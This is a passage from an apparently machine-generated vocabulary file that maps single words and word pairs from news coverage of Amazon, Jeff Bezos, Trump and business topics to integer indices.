206836,\n  \"military funding\": 206837,\n  \"incoming ceo\": 206838,\n  \"tv sales\": 206839,\n  \"leaking confidential\": 206840,\n  \"advisors lc\": 206841,\n  \"declared enemies\": 206842,\n  \"pesky pessimists\": 206843,\n  \"o1a m4\": 206844,\n  \"courtship\": 206845,\n  \"mail concludes\": 206846,\n  \"stupid questioning\": 206847,\n  \"including metrics\": 206848,\n  \"possible multi\": 206849,\n  \"donahoe\": 206850,\n  \"huge difference\": 206851,\n  \"frequently speak\": 206852,\n  \"money grabs\": 206853,\n  \"amazons taxes\": 206854,\n  \"study indicating\": 206855,\n  \"people blue\": 206856,\n  \"moments later\": 206857,\n  \"kurth\": 206858,\n  \"angela charlton\": 206859,\n  \"astonishingly excellent\": 206860,\n  \"reversing\": 206861,\n  \"nyvm5vth9k\": 206862,\n  \"wow wrote\": 206863,\n  \"named cleo\": 206864,\n  \"regular review\": 206865,\n  \"peaked\": 206866,\n  \"trading days\": 206867,\n  \"emmerich\": 206868,\n  \"craves loyalty\": 206869,\n  \"project seagull\": 206870,\n  \"food maker\": 206871,\n  \"day deferred\": 206872,\n  \"stars including\": 206873,\n  \"philanthropist david\": 206874,\n  \"solicit proposals\": 206875,\n  \"working says\": 206876,\n  \"troll farm\": 206877,\n  \"benavides cbenavidestv\": 206878,\n  \"people join\": 206879,\n  \"drop driven\": 206880,\n  \"asia reflecting\": 206881,\n  \"dave weigel\": 206882,\n  \"weapons shawn\": 206883,\n  \"did miraculously\": 206884,\n  \"unplanned faces\": 206885,\n  \"power decisions\": 206886,\n  \"brands amazon\": 206887,\n  \"including pill\": 206888,\n  \"handled roughly\": 206889,\n  \"154\": 206890,\n  \"force findings\": 206891,\n  \"legend memoir\": 206892,\n  \"seeing bezos\": 206893,\n  \"optimised\": 206894,\n  \"illegal\": 206895,\n  \"contributed greatly\": 206896,\n  \"tolling devices\": 206897,\n  \"energy joins\": 206898,\n  \"easily uploaded\": 206899,\n  \"served schools\": 206900,\n  \"inclined\": 206901,\n  \"789 million\": 206902,\n  \"matt leblanc\": 206903,\n  \"initiated delivery\": 206904,\n  \"joseph dunford\": 206905,\n  \"local mom\": 206906,\n  \"wife acute\": 206907,\n  \"market fluctuations\": 206908,\n  \"global advantage\": 206909,\n  \"people confess\": 206910,\n  \"munich trip\": 206911,\n  \"reunited thanks\": 206912,\n  \"ago apple\": 206913,\n  \"basin level\": 206914,\n  \"iphone\": 206915,\n  \"connelly\": 206916,\n  \"vermont independent\": 206917,\n  \"flames new\": 206918,\n  \"acquirer\": 206919,\n  \"recently led\": 206920,\n  \"simply hypnotized\": 206921,\n  \"employee accidents\": 206922,\n  \"vietnam include\": 206923,\n  \"china dunford\": 206924,\n  \"fox friends\": 206925,\n  \"weekly advance\": 206926,\n  \"service usps\": 206927,\n  \"ntia reauth\": 206928,\n  \"wonderful company\": 206929,\n  \"patent wars\": 206930,\n  \"potentially worth\": 206931,\n  \"ordered 9th\": 206932,\n  \"establish price\": 206933,\n  \"question federal\": 206934,\n  \"reveal wild\": 206935,\n  \"reimpose aspects\": 206936,\n  \"manufacturer saying\": 206937,\n  \"crash venezuela\": 206938,\n  \"partner organization\": 206939,\n  \"michael carrier\": 206940,\n  \"quickly amazon\": 206941,\n  \"value 2017\": 206942,\n  \"great break\": 206943,\n  \"fascism federal\": 206944,\n  \"larger attack\": 206945,\n  \"squall dusts\": 206946,\n  \"mark arax\": 206947,\n  \"host dinner\": 206948,\n  \"jeff gluck\": 206949,\n  \"soy cattle\": 206950,\n  \"2016 meddling\": 206951,\n  \"ofari hutchinson\": 206952,\n  \"define big\": 206953,\n  \"draws criticism\": 206954,\n  \"wouldn understand\": 206955,\n  \"outpolled republicans\": 206956,\n  \"analysts chief\": 206957,\n  \"congress trump\": 206958,\n  \"million smashing\": 206959,\n  \"week wind\": 206960,\n  \"profit close\": 206961,\n  \"wall organized\": 206962,\n  \"nations warring\": 206963,\n  \"personalised investment\": 206964,\n  \"harris echo\": 206965,\n  \"sudan\": 206966,\n  \"board 4chan\": 206967,\n  \"maclennan david\": 206968,\n  \"week raise\": 206969,\n  \"pwi4ncvazx\": 206970,\n  \"maple leaf\": 206971,\n  \"stronger amid\": 206972,\n  \"features story\": 206973,\n  \"development alleging\": 206974,\n  \"company relationship\": 206975,\n  \"intense scrutiny\": 206976,\n  \"running platform\": 206977,\n  \"international outfit\": 206978,\n  \"average household\": 206979,\n  \"able todefer\": 206980,\n  \"monopoly contracts\": 206981,\n  \"chris diorio\": 206982,\n  \"type\": 206983,\n  \"suborbital\": 206984,\n  \"tias\": 206985,\n  \"hewlett\": 206986,\n  \"message helped\": 206987,\n  \"brat\": 206988,\n  \"prices falling\": 206989,\n  \"giant remains\": 206990,\n  \"struck investigators\": 206991,\n  \"interact people\": 206992,\n  \"quite hard\": 206993,\n  \"ipt exposed\": 206994,\n  \"ipsos market\": 206995,\n  \"wage staff\": 206996,\n  \"federal license\": 206997,\n  \"consider jab\": 206998,\n  \"mogul announced\": 206999,\n  \"technology\": 207000,\n  \"accessibility ease\": 207001,\n  \"really sure\": 207002,\n  \"cable association\": 207003,\n  \"shareholders approve\": 207004,\n  \"guest agreed\": 207005,\n  \"rubber wood\": 207006,\n  \"worth sticking\": 207007,\n  \"apr 2018\": 207008,\n  \"lighter touch\": 207009,\n  \"917134c164ee4890b8cdc865b3484943\": 207010,\n  \"robert louis\": 207011,\n  \"dispute earlier\": 207012,\n  \"president crackdown\": 207013,\n  \"senate colleagues\": 207014,\n  \"deliveroo\": 207015,\n  \"firms monolithic\": 207016,\n  \"larger formations\": 207017,\n  \"pacific partnership\": 207018,\n  \"maintaining low\": 207019,\n  \"hmd global\": 207020,\n  \"unjustified reasons\": 207021,\n  \"plans don\": 207022,\n  \"make different\": 207023,\n  \"record huseman\": 207024,\n  \"entry systems\": 207025,\n  \"investigation division\": 207026,\n  \"leader chuck\": 207027,\n  \"ext 1600\": 207028,\n  \"cases purchased\": 207029,\n  \"political report\": 207030,\n  \"makes case\": 207031,\n  \"edgy\": 207032,\n  \"recently disappointed\": 207033,\n  \"media accusing\": 207034,\n  \"monthly ad\": 207035,\n  \"initially celebrated\": 207036,\n  \"spending does\": 207037,\n  \"acquisitions including\": 207038,\n  \"abc north\": 207039,\n  \"slane\": 207040,\n  \"purchasing easier\": 207041,\n  \"california emma\": 207042,\n  \"richard clarida\": 207043,\n  \"release statement\": 207044,\n  \"blending\": 207045,\n  \"item description\": 207046,\n  \"amazonas state\": 207047,\n  \"klieger hinted\": 207048,\n  \"export sales\": 207049,\n  \"goods coming\": 207050,\n  \"congress wrote\": 207051,\n  \"relations school\": 207052,\n  \"thiessen\": 207053,\n  \"stifel devitt\": 207054,\n  \"cnn today\": 207055,\n  \"volunteers performing\": 207056,\n  \"doubled analysts\": 207057,\n  \"receiving rebate\": 207058,\n  \"previously bought\": 207059,\n  \"trump farrow\": 207060,\n  \"virgil thinking\": 207061,\n  \"188 shares\": 207062,\n  \"treatment raid\": 207063,\n  \"mounted clusters\": 207064,\n  \"big sister\": 207065,\n  \"hoopla\": 207066,\n  \"homeless shelter\": 207067,\n  \"free enterprise\": 207068,\n  \"lifestyles\": 207069,\n  \"sen mike\": 207070,\n  \"investigation london\": 207071,\n  \"taiwanese firm\": 207072,\n  \"post schiff\": 207073,\n  \"bloviations\": 207074,\n  \"charges amazon\": 207075,\n  \"acquired\": 207076,\n  \"statements\": 207077,\n  \"mingle\": 207078,\n  \"brotherhood mexican\": 207079,\n  \"zcie3kuo5l\": 207080,\n  \"memorable skit\": 207081,\n  \"arson charge\": 207082,\n  \"people millennials\": 207083,\n  \"undoubtedly cast\": 207084,\n  \"media companies\": 207085,\n  \"ranveer chandra\": 207086,\n  \"apathy\": 207087,\n  \"high returns\": 207088,\n  \"voice assistants\": 207089,\n  \"hulbert looks\": 207090,\n  \"traveling\": 207091,\n  \"victims colbert\": 207092,\n  \"app scribd\": 207093,\n  \"property office\": 207094,\n  \"similar arrangements\": 207095,\n  \"model slavica\": 207096,\n  \"shows drop\": 207097,\n  \"travel games\": 207098,\n  \"shape agenda\": 207099,\n  \"phrase deep\": 207100,\n  \"eventually founded\": 207101,\n  \"barclays trading\": 207102,\n  \"rung wrote\": 207103,\n  \"erected\": 207104,\n  \"kavanaugh 2018\": 207105,\n  \"brazil transnational\": 207106,\n  \"parody amazon\": 207107,\n  \"boosts minimum\": 207108,\n  \"level best\": 207109,\n  \"emerged amazon\": 207110,\n  \"service amid\": 207111,\n  \"local firms\": 207112,\n  \"inform decision\": 207113,\n  \"oil boom\": 207114,\n  \"pancakes just\": 207115,\n  \"lion south\": 207116,\n  \"hideous d\\u00e9cor\": 207117,\n  \"domestically\": 207118,\n  \"hughes frequent\": 207119,\n  \"brazil environment\": 207120,\n  \"including fake\": 207121,\n  \"west virginian\": 207122,\n  \"jonathan ladd\": 207123,\n  \"contributing\": 207124,\n  \"convenient shopping\": 207125,\n  \"excellence equity\": 207126,\n  \"1970 wildlife\": 207127,\n  \"true inc_filelocation\": 207128,\n  \"jetblue\": 207129,\n  \"biography captures\": 207130,\n  \"elected congresswoman\": 207131,\n  \"company executives\": 207132,\n  \"emma gonzalez\": 207133,\n  \"chinese officials\": 207134,\n  \"syracuse\": 207135,\n  \"5151 prohibiting\": 207136,\n  \"businesses run\": 207137,\n  \"tremendous opportunity\": 207138,\n  \"nasdaq adbe\": 207139,\n  \"repeatedly dodged\": 207140,\n  \"media dining\": 207141,\n  \"culprits making\": 207142,\n  \"enormous decline\": 207143,\n  \"fired chief\": 207144,\n  \"tributes nbc\": 207145,\n  \"stronger job\": 207146,\n  \"hike especially\": 207147,\n  \"bezos appears\": 207148,\n  \"video garnered\": 207149,\n  \"launches\": 207150,\n  \"kaitlyn flannagan\": 207151,\n  \"device robotic\": 207152,\n  \"louise\": 207153,\n  \"tariffs makes\": 207154,\n  \"interdiction programs\": 207155,\n  \"mining companies\": 207156,\n  \"private weblog\": 207157,\n  \"national elections\": 207158,\n  \"webb\": 207159,\n  \"esophagus runs\": 207160,\n  \"hemsey\": 207161,\n  \"entrances\": 207162,\n  \"book trip\": 207163,\n  \"null 6_5\": 207164,\n  \"watergate reports\": 207165,\n  \"taxday\": 207166,\n  \"media arm\": 207167,\n  \"called reliance\": 207168,\n  \"reviewer wrote\": 207169,\n  \"kirk global\": 207170,\n  \"packages away\": 207171,\n  \"business image\": 207172,\n  \"insurance federation\": 207173,\n  \"sourcelink videocardcontents\": 207174,\n  \"self censorship\": 207175,\n  \"categories primarychannelarray\": 207176,\n  \"financial burden\": 207177,\n  \"choppy\": 207178,\n  \"attack survivor\": 207179,\n  \"hans pennink\": 207180,\n  \"twitter deleted\": 207181,\n  \"owns 475\": 207182,\n  \"germany antitrust\": 207183,\n  \"law stopped\": 207184,\n  \"lately moser\": 207185,\n  \"sensibly\": 207186,\n  \"right wegmann\": 207187,\n  \"control category\": 207188,\n  \"artifice\": 207189,\n  \"border standoff\": 207190,\n  \"hurricane\": 207191,\n  \"claimed brazil\": 207192,\n  \"marx communist\": 207193,\n  \"holds job\": 207194,\n  \"regarding nuclear\": 207195,\n  \"higher installed\": 207196,\n  \"person noted\": 207197,\n  \"parties hailed\": 207198,\n  \"twitter followers\": 207199,\n  \"suicide attack\": 207200,\n  \"digits 2015\": 207201,\n  \"changes recommended\": 207202,\n  \"data clouds\": 207203,\n  \"life including\": 207204,\n  \"sheikh\": 207205,\n  \"facing amazon\": 207206,\n  \"m3 biotechnology\": 207207,\n  \"news slogan\": 207208,\n  \"hypocritical\": 207209,\n  \"marital\": 207210,\n  \"taxes 2018\": 207211,\n  \"happy added\": 207212,\n  \"hurt small\": 207213,\n  \"salesforces stock\": 207214,\n  \"provide logistics\": 207215,\n  \"recent sessions\": 207216,\n  \"double hopping\": 207217,\n  \"cheat\": 207218,\n  \"did trump\": 207219,\n  \"marcelo\": 207220,\n  \"code shirts\": 207221,\n  \"love showing\": 207222,\n  \"2017 amazon\": 207223,\n  \"npr virginia\": 207224,\n  \"cloud modern\": 207225,\n  \"17th century\": 207226,\n  \"roughly million\": 207227,\n  \"clinton huma\": 207228,\n  \"realtors\": 207229,\n  \"saved america\": 207230,\n  \"kristen hawn\": 207231,\n  \"mirzapur\": 207232,\n  \"large spending\": 207233,\n  \"new level\": 207234,\n  \"orwellian\": 207235,\n  \"rights violations\": 207236,\n  \"pressure ceo\": 207237,\n  \"picketed\": 207238,\n  \"brantley ernest\": 207239,\n  \"political players\": 207240,\n  \"supporter wearing\": 207241,\n  \"cleansed\": 207242,\n  \"danielle\": 207243,\n  \"unlike yesterday\": 207244,\n  \"tm allies\": 207245,\n  \"truly cheap\": 207246,\n  \"caught flack\": 207247,\n  \"gadget_pron\": 207248,\n  \"trade achievement\": 207249,\n  \"fantasia\": 207250,\n  \"reportedly\": 207251,\n  \"fake advertisement\": 207252,\n  \"blue wapo\": 207253,\n  \"decentralized government\": 207254,\n  \"game verizon\": 207255,\n  \"ceo mistress\": 207256,\n  \"nyse ecl\": 207257,\n  \"classmates outside\": 207258,\n  \"royally ripping\": 207259,\n  \"justices reach\": 207260,\n  \"niro apologizes\": 207261,\n  \"daily activity\": 207262,\n  \"visited billerica\": 207263,\n  \"founder fortune\": 207264,\n  \"portfolio strategies\": 207265,\n  \"issues contact\": 207266,\n  \"leprechauns\": 207267,\n  \"suppliers intermediaries\": 207268,\n  \"trends going\": 207269,\n  \"speculationwhether amazon\": 207270,\n  \"latest ruminations\": 207271,\n  \"statistic\": 207272,\n  \"jpg label\": 207273,\n  \"1996 amazon\": 207274,\n  \"saving lives\": 207275,\n  \"nycha\": 207276,\n  \"service holds\": 207277,\n  \"doesn trigger\": 207278,\n  \"nightime\": 207279,\n  \"trump roger\": 207280,\n  \"jess_aloe\": 207281,\n  \"commerce sponsored\": 207282,\n  \"accusing big\": 207283,\n  \"fox companies\": 207284,\n  \"privacy disinformation\": 207285,\n  \"specific numbers\": 207286,\n  \"evrnu\": 207287,\n  \"election meddling\": 207288,\n  \"total mailing\": 207289,\n  \"2017 ambulances\": 207290,\n  \"mis matched\": 207291,\n  \"nejjykwedt\": 207292,\n  \"laudable decision\": 207293,\n  \"wwi\": 207294,\n  \"counted\": 207295,\n  \"department guidelines\": 207296,\n  \"lay glove\": 207297,\n  \"hq2 finalists\": 207298,\n  \"illinoisan isaac\": 207299,\n  \"costing bezos\": 207300,\n  \"relevant\": 207301,\n  \"reported attempted\": 207302,\n  \"mcdonald restaurants\": 207303,\n  \"mueller wouldn\": 207304,\n  \"damning stories\": 207305,\n  \"federal lawmaker\": 207306,\n  \"digital music\": 207307,\n  \"spokeswoman told\": 207308,\n  \"fleet dubbed\": 207309,\n  \"know man\": 207310,\n  \"regulators despite\": 207311,\n  \"boyd\": 207312,\n  \"inevitable package\": 207313,\n  \"ripples\": 207314,\n  \"trademark attorneys\": 207315,\n  \"trade update\": 207316,\n  \"consultant recommended\": 207317,\n  \"administration unsuccessfully\": 207318,\n  \"trump larry\": 207319,\n  \"playing video\": 207320,\n  \"european regulators\": 207321,\n  \"airborne\": 207322,\n  \"badhealth\": 207323,\n  \"modi warns\": 207324,\n  \"hughes denied\": 207325,\n  \"3gb ram\": 207326,\n  \"murder children\": 207327,\n  \"enemy president\": 207328,\n  \"glut\": 207329,\n  \"beijing attempts\": 207330,\n  \"leader spent\": 207331,\n  \"desired location\": 207332,\n  \"story backlash\": 207333,\n  \"capital mgmt\": 207334,\n  \"close contact\": 207335,\n  \"scoops\": 207336,\n  \"scam phone\": 207337,\n  \"federalreserve gov\": 207338,\n  \"game iq\": 207339,\n  \"government snooping\": 207340,\n  \"vans offsets\": 207341,\n  \"investigations based\": 207342,\n  \"asked census\": 207343,\n  \"parcel customers\": 207344,\n  \"seek following\": 207345,\n  \"costing far\": 207346,\n  \"china just\": 207347,\n  \"wraps couldn\": 207348,\n  \"paperback recommendations\": 207349,\n  \"american federation\": 207350,\n  \"drugs read\": 207351,\n  \"scheduling\": 207352,\n  \"winter conference\": 207353,\n  \"higher yesterday\": 207354,\n  \"finance starts\": 207355,\n  \"wasn retaliating\": 207356,\n  \"preserve house\": 207357,\n  \"suggest bezos\": 207358,\n  \"trade envoys\": 207359,\n  \"paying newspaper\": 207360,\n  \"mother ivy\": 207361,\n  \"executive overreach\": 207362,\n  \"capone\": 207363,\n  \"street reform\": 207364,\n  \"internet router\": 207365,\n  \"realist literature\": 207366,\n  \"sheraton seattle\": 207367,\n  \"pretty sure\": 207368,\n  \"ways silicon\": 207369,\n  \"global locations\": 207370,\n  \"investigation involving\": 207371,\n  \"dealmaker\": 207372,\n  \"rescuing professional\": 207373,\n  \"influence newsletter\": 207374,\n  \"julian assange\": 207375,\n  \"trillion offsetting\": 207376,\n  \"gary coby\": 207377,\n  \"jericka\": 207378,\n  \"harmony leading\": 207379,\n  \"gmb_union early\": 207380,\n  \"drama follows\": 207381,\n  \"year lease\": 207382,\n  \"trump blasts\": 207383,\n  \"kmb\": 207384,\n  \"meeting notes\": 207385,\n  \"book chronicles\": 207386,\n  \"thing jeffrey\": 207387,\n  \"graffiti resistant\": 207388,\n  \"butts\": 207389,\n  \"zana omar\": 207390,\n  \"government revenue\": 207391,\n  \"toxic gas\": 207392,\n  \"funk speaking\": 207393,\n  \"hit earnings\": 207394,\n  \"hacks fixes\": 207395,\n  \"brazilian meat\": 207396,\n  \"file photo\": 207397,\n  \"considerably higher\": 207398,\n  \"obviously motivated\": 207399,\n  \"beware amazon\": 207400,\n  \"reinforce appropriate\": 207401,\n  \"project brought\": 207402,\n  \"negative consequence\": 207403,\n  \"dynamics abuse\": 207404,\n  \"women tennis\": 207405,\n  \"far protected\": 207406,\n  \"million units\": 207407,\n  \"affected\": 207408,\n  \"allows disney\": 207409,\n  \"larger customers\": 207410,\n  \"dccc executive\": 207411,\n  \"\\u00e9ric vuillard\": 207412,\n  \"selects long\": 207413,\n  \"2016 timothy\": 207414,\n  \"background washington\": 207415,\n  \"assets 181003143415\": 207416,\n  \"workers stated\": 207417,\n  \"paper forced\": 207418,\n  \"store purchases\": 207419,\n  \"hide subsections\": 207420,\n  \"pete fox\": 207421,\n  \"curve\": 207422,\n  \"russia clinton\": 207423,\n  \"earnings 2019\": 207424,\n  \"report detailing\": 207425,\n  \"data srclarge\": 207426,\n  \"notoriously sensational\": 207427,\n  \"lost billion\": 207428,\n  \"purveyors\": 207429,\n  \"2018 facebook\": 207430,\n  \"race class\": 207431,\n  \"ends microsoft\": 207432,\n  \"oversees amazon\": 207433,\n  \"year surpassing\": 207434,\n  \"siding\": 207435,\n  \"puddlestreason\": 207436,\n  \"chain banned\": 207437,\n  \"country need\": 207438,\n  \"business onwer\": 207439,\n  \"examining facebook\": 207440,\n  \"government government\": 207441,\n  \"modest proposals\": 207442,\n  \"process allowed\": 207443,\n  \"nyse srg\": 207444,\n  \"deriding\": 207445,\n  \"ami did\": 207446,\n  \"000 bezos\": 207447,\n  \"remain indoors\": 207448,\n  \"trump centered\": 207449,\n  \"receive passing\": 207450,\n  \"refund trump\": 207451,\n  \"thomas amy\": 207452,\n  \"nandita\": 207453,\n  \"jane\": 207454,\n  \"completely confidential\": 207455,\n  \"despite strong\": 207456,\n  \"chubby\": 207457,\n  \"crouch\": 207458,\n  \"urban landscapes\": 207459,\n  \"trademark digital\": 207460,\n  \"republicans furloughed\": 207461,\n  \"driving car\": 207462,\n  \"muslims african\": 207463,\n  \"error email\": 207464,\n  \"holds grudge\": 207465,\n  \"bowl honored\": 207466,\n  \"barrel chick\": 207467,\n  \"shot fight\": 207468,\n  \"2020\": 207469,\n  \"beast beautiful\": 207470,\n  \"cnn springsteen\": 207471,\n  \"month aws\": 207472,\n  \"union actions\": 207473,\n  \"caution writing\": 207474,\n  \"immigration related\": 207475,\n  \"trump ammunition\": 207476,\n  \"management eighty\": 207477,\n  \"earnings blow\": 207478,\n  \"insider maclennan\": 207479,\n  \"opponents say\": 207480,\n  \"people surmised\": 207481,\n  \"gory details\": 207482,\n  \"181003173251\": 207483,\n  \"pinterest released\": 207484,\n  \"pot read\": 207485,\n  \"past decade\": 207486,\n  \"genuflect\": 207487,\n  \"arlington heights\": 207488,\n  \"death according\": 207489,\n  \"skinflint counter\": 207490,\n  \"bloody\": 207491,\n  \"high crossing\": 207492,\n  \"141\": 207493,\n  \"tv journalist\": 207494,\n  \"price support\": 207495,\n  \"snoqualmie\": 207496,\n  \"york 500\": 207497,\n  \"repeated behavior\": 207498,\n  \"million 2018\": 207499,\n  \"told wusa9\": 207500,\n  \"possibly abusing\": 207501,\n  \"parcel carriers\": 207502,\n  \"hound\": 207503,\n  \"discourage trafficking\": 207504,\n  \"wisdom\": 207505,\n  \"industrialize\": 207506,\n  \"day losses\": 207507,\n  \"fba capacity\": 207508,\n  \"2025 visit\": 207509,\n  \"2019 grateful\": 207510,\n  \"computing streaming\": 207511,\n  \"pushed united\": 207512,\n  \"angie tribeca\": 207513,\n  \"groceries cloud\": 207514,\n  \"855 words\": 207515,\n  \"bailey netflix\": 207516,\n  \"president public\": 207517,\n  \"hitting coverage\": 207518,\n  \"post recession\": 207519,\n  \"effectively block\": 207520,\n  \"nonpartisan political\": 207521,\n  \"fed tightening\": 207522,\n  \"coverage customer\": 207523,\n  \"rosy\": 207524,\n  \"mangled\": 207525,\n  \"renewed push\": 207526,\n  \"reactid 147\": 207527,\n  \"interpersonal\": 207528,\n  \"users currently\": 207529,\n  \"schweizer\": 207530,\n  \"market income\": 207531,\n  \"gate global\": 207532,\n  \"amazon introduced\": 207533,\n  \"georgia rep\": 207534,\n  \"cdc reported\": 207535,\n  \"lee gifford\": 207536,\n  \"largest conglomerate\": 207537,\n  \"criticism claiming\": 207538,\n  \"hearing council\": 207539,\n  \"years time\": 207540,\n  \"1547043466000 later\": 207541,\n  \"sweeney\": 207542,\n  \"535 members\": 207543,\n  \"service consumers\": 207544,\n  \"generate profits\": 207545,\n  \"divorce san\": 207546,\n  \"bloomberg david\": 207547,\n  \"activism remember\": 207548,\n  \"alcindor\": 207549,\n  \"diplomatic post\": 207550,\n  \"trump joined\": 207551,\n  \"project newsday\": 207552,\n  \"administrative adjustments\": 207553,\n  \"rates climbed\": 207554,\n  \"game directions\": 207555,\n  \"sabrina photo\": 207556,\n  \"lewis georgia\": 207557,\n  \"low tiffany\": 207558,\n  \"darn bb\": 207559,\n  \"zinke zinke\": 207560,\n  \"educating\": 207561,\n  \"astringent\": 207562,\n  \"soda maker\": 207563,\n  \"stressful\": 207564,\n  \"glove box\": 207565,\n  \"627666862 jpg\": 207566,\n  \"netflix hbo\": 207567,\n  \"annual prime\": 207568,\n  \"ig horowitz\": 207569,\n  \"story european\": 207570,\n  \"lisa bielamowicz\": 207571,\n  \"maga hats\": 207572,\n  \"spending slowdown\": 207573,\n  \"conference tomorrow\": 207574,\n  \"second new\": 207575,\n  \"whatsapp read\": 207576,\n  \"expediating\": 207577,\n  \"ecedzui0be judd\": 207578,\n  \"clearance anti\": 207579,\n  \"harassment barnes\": 207580,\n  \"check writing\": 207581,\n  \"ct 1148\": 207582,\n  \"republicans fear\": 207583,\n  \"weapons including\": 207584,\n  \"aws won\": 207585,\n  \"clash\": 207586,\n  \"modernizing new\": 207587,\n  \"sexts hacked\": 207588,\n  \"growth potential\": 207589,\n  \"trump delays\": 207590,\n  \"kuwait oil\": 207591,\n  \"alt describes\": 207592,\n  \"bezos handing\": 207593,\n  \"speech group\": 207594,\n  \"fragmentary unfinished\": 207595,\n  \"recent brown\": 207596,\n  \"mortar stores\": 207597,\n  \"really encouraging\": 207598,\n  \"bassinets\": 207599,\n  \"growing assertiveness\": 207600,\n  \"hatch utah\": 207601,\n  \"send\": 207602,\n  \"250\": 207603,\n  \"goure security\": 207604,\n  \"orville\": 207605,\n  \"mark hulbert\": 207606,\n  \"hunt don\": 207607,\n  \"ballard number\": 207608,\n  \"proving\": 207609,\n  \"tired microneedles\": 207610,\n  \"aliexpress\": 207611,\n  \"appears ready\": 207612,\n  \"virginia hq2\": 207613,\n  \"pentagon arsenal\": 207614,\n  \"true inc_full_width_read_moreflag\": 207615,\n  \"considered pecker\": 207616,\n  \"clinton foundation\": 207617,\n  \"current deforestation\": 207618,\n  \"recently settled\": 207619,\n  \"avoid loneliness\": 207620,\n  \"function setinitialvideoembed\": 207621,\n  \"try native\": 207622,\n  \"delivery times\": 207623,\n  \"packages group\": 207624,\n  \"underlings\": 207625,\n  \"rally flags\": 207626,\n  \"separate ceremony\": 207627,\n  \"pre sale\": 207628,\n  \"annenberg performing\": 207629,\n  \"logistics merchandising\": 207630,\n  \"new factory\": 207631,\n  \"outlet concludes\": 207632,\n  \"firm govpredict\": 207633,\n  \"finish rich\": 207634,\n  \"sock brands\": 207635,\n  \"biography focuses\": 207636,\n  \"massive pumpkin\": 207637,\n  \"breaking president\": 207638,\n  \"new term\": 207639,\n  \"nogales ariz\": 207640,\n  \"joy bauer\": 207641,\n  \"hey wonder\": 207642,\n  \"drones humanized\": 207643,\n  \"strived\": 207644,\n  \"free exchange\": 207645,\n  \"clarida helped\": 207646,\n  \"options market\": 207647,\n  \"payback representative\": 207648,\n  \"flip multiplication\": 207649,\n  \"joseph pisani\": 207650,\n  \"wet season\": 207651,\n  \"nearly tripled\": 207652,\n  \"metahelm\": 207653,\n  \"2016 michael\": 207654,\n  \"video mccarthy\": 207655,\n  \"terre\": 207656,\n  \"impose general\": 207657,\n  \"upcoming election\": 207658,\n  \"apprentice producer\": 207659,\n  \"doesn add\": 207660,\n  \"deal stays\": 207661,\n  \"indicatorstoggle\": 207662,\n  \"berkshire hathaway\": 207663,\n  \"foot onsite\": 207664,\n  \"source bbc\": 207665,\n  \"o2x v8\": 207666,\n  \"amazon pic\": 207667,\n  \"alternate suppliers\": 207668,\n  \"ice sarah\": 207669,\n  \"world sleaziest\": 207670,\n  \"rainforest recently\": 207671,\n  \"adequate training\": 207672,\n  \"marginalised\": 207673,\n  \"facility forced\": 207674,\n  \"tweet posted\": 207675,\n  \"amazon kindle\": 207676,\n  \"wiretapped\": 207677,\n  \"reed\": 207678,\n  \"make extra\": 207679,\n  \"publicly complained\": 207680,\n  \"2019 duped\": 207681,\n  \"unsparing close\": 207682,\n  \"asa deal\": 207683,\n  \"gripping\": 207684,\n  \"growth jennifer\": 207685,\n  \"switch nintendo\": 207686,\n  \"emails blackmail\": 207687,\n  \"fake yeezy\": 207688,\n  \"president hatred\": 207689,\n  \"lambast\": 207690,\n  \"represent\": 207691,\n  \"trashy people\": 207692,\n  \"conservative outlets\": 207693,\n  \"troubling sign\": 207694,\n  \"jeffries deemed\": 207695,\n  \"nbc cohen\": 207696,\n  \"democrats gained\": 207697,\n  \"particular workloads\": 207698,\n  \"paulson trump\": 207699,\n  \"proposed story\": 207700,\n  \"city speaking\": 207701,\n  \"homage\": 207702,\n  \"sale jabong\": 207703,\n  \"manipulated media\": 207704,\n  \"dolce\": 207705,\n  \"shook\": 207706,\n  \"newsroom hotstar\": 207707,\n  \"opinion steve\": 207708,\n  \"lago estate\": 207709,\n  \"games global\": 207710,\n  \"previous incarnation\": 207711,\n  \"doggedly trying\": 207712,\n  \"early 2019\": 207713,\n  \"property division\": 207714,\n  \"crews worked\": 207715,\n  \"nooyi quit\": 207716,\n  \"tacit\": 207717,\n  \"gop pac\": 207718,\n  \"law regulatory\": 207719,\n  \"closed earlier\": 207720,\n  \"marketplace essentially\": 207721,\n  \"largest shareholder\": 207722,\n  \"annual sales\": 207723,\n  \"trump leaving\": 207724,\n  \"senate jan\": 207725,\n  \"way governor\": 207726,\n  \"underlying economy\": 207727,\n  \"high accuracy\": 207728,\n  \"trump slams\": 207729,\n  \"email spokespeople\": 207730,\n  \"shamrock asset\": 207731,\n  \"trump address\": 207732,\n  \"almonds\": 207733,\n  \"findings relate\": 207734,\n  \"000 internet\": 207735,\n  \"says bloomberg\": 207736,\n  \"owns instagram\": 207737,\n  \"k1a\": 207738,\n  \"results including\": 207739,\n  \"elizabeth walked\": 207740,\n  \"billionaire entrepreneur\": 207741,\n  \"drawing annual\": 207742,\n  \"morse\": 207743,\n  \"initiative judgment\": 207744,\n  \"collins\": 207745,\n  \"absorbed dollars\": 207746,\n  \"story secret\": 207747,\n  \"journalists covering\": 207748,\n  \"diverging plans\": 207749,\n  \"soros funded\": 207750,\n  \"income tax\": 207751,\n  \"marriage fails\": 207752,\n  \"bormel\": 207753,\n  \"amistad\": 207754,\n  \"enriched tiny\": 207755,\n  \"clos\": 207756,\n  \"greatest exports\": 207757,\n  \"social ill\": 207758,\n  \"nfl patterson\": 207759,\n  \"american costumes\": 207760,\n  \"aan\": 207761,\n  \"deal based\": 207762,\n  \"witnessing gonzalez\": 207763,\n  \"hustle\": 207764,\n  \"urge customers\": 207765,\n  \"trump cleaning\": 207766,\n  \"story alibaba\": 207767,\n  \"initial dive\": 207768,\n  \"treaty organization\": 207769,\n  \"money power\": 207770,\n  \"order books\": 207771,\n  \"breaks better\": 207772,\n  \"fighbird\": 207773,\n  \"enjoy question\": 207774,\n  \"silenced opposition\": 207775,\n  \"time investors\": 207776,\n  \"acrimonious\": 207777,\n  \"times weighed\": 207778,\n  \"biometrics\": 207779,\n  \"described working\": 207780,\n  \"journalists followed\": 207781,\n  \"urge trump\": 207782,\n  \"simple majority\": 207783,\n  \"workers better\": 207784,\n  \"wait words\": 207785,\n  \"island citythe\": 207786,\n  \"analytics channel\": 207787,\n  \"crypto chip\": 207788,\n  \"devos student\": 207789,\n  \"swan mueller\": 207790,\n  \"charges big\": 207791,\n  \"create vast\": 207792,\n  \"year dictatorship\": 207793,\n  \"reacting\": 207794,\n  \"deal saying\": 207795,\n  \"cnnvideomanager getinstance\": 207796,\n  \"commentator michael\": 207797,\n  \"kundu rags\": 